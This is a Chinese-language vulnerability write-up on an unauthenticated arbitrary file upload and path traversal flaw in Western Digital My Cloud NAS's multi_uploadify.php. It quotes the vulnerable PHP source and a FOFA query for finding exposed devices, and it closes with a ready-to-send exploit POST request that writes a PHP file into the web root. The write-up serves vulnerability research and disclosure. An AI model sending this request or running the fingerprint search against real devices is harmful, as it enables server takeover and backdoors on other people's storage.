漏洞简介
Western Digital My Cloud NAS是美国西部数据(Western Digital)公司的一款应用广泛的网络连接云存储设备,可用于托管文件,并自动备份和同步该文件与各种云和基于Web的服务。Western Digital My Cloud NAS multi_uploadify.php 接口存在任意文件上传漏洞,允许未经身份验证的攻击者上传恶意代码,植入后门,获取服务器权限,并控制整个 Web 服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
漏洞分析
直接看 /jquery/uploader/multi_uploadify.php 关键业务逻辑的实现
$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri = $_REQUEST['redirect_uri'];
//echo $name ."<br>".$pwd."<br>".$ip;
$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?cmd=1&name=".$name."=&pwd=".$pwd ),"" ));
$result_1 = strstr($result,"<auth_status>0</auth_status>");
$result_1 = substr ($result_1, 0,28);
if (strncmp ($result_1,"<auth_status>0</auth_status>",28) == 0 )
//if (strstr($result,"<auth_status>0</auth_status>")== 0 )
{
header("HTTP/1.1 302 Found");
header("Location: ".$redirect_uri."?status=0");
exit();
}
if (!empty($_FILES)) {
$targetPath = $_REQUEST['folder'] . '/';
$count = (count($_FILES["Filedata"])-2);
for ( $I=0; $I < $count; $I++ )
{
$tempFile = $_FILES['Filedata']['tmp_name'][$I];
if ($tempFile == "")
{
continue;
}
$new_file_name = str_replace('\\','',$_FILES['Filedata']['name'][$I]); //amy++
$targetFile = str_replace('//','/',$targetPath) . $new_file_name;
$status = move_uploaded_file($tempFile,$targetFile);
特别需要注意的是

该上传逻辑错误地通过计算$_FILES['Filedata']的键数量(而非实际文件数)确定循环次数,且因未使用Filedata[]数组形式字段名导致多文件解析失效,结合未校验的folder参数,形成目录遍历+任意文件上传漏洞,允许攻击者可控文件路径及内容。
漏洞复现
POST /web/jquery/uploader/multi_uploadify.php?folder=/var/www/ HTTP/1.1
Host: western.digital.nas.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="Filedata[]"; filename="1.php"
Content-Type: application/octet-stream
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--
访问上传文件 1.php ,成功执行上传代码。


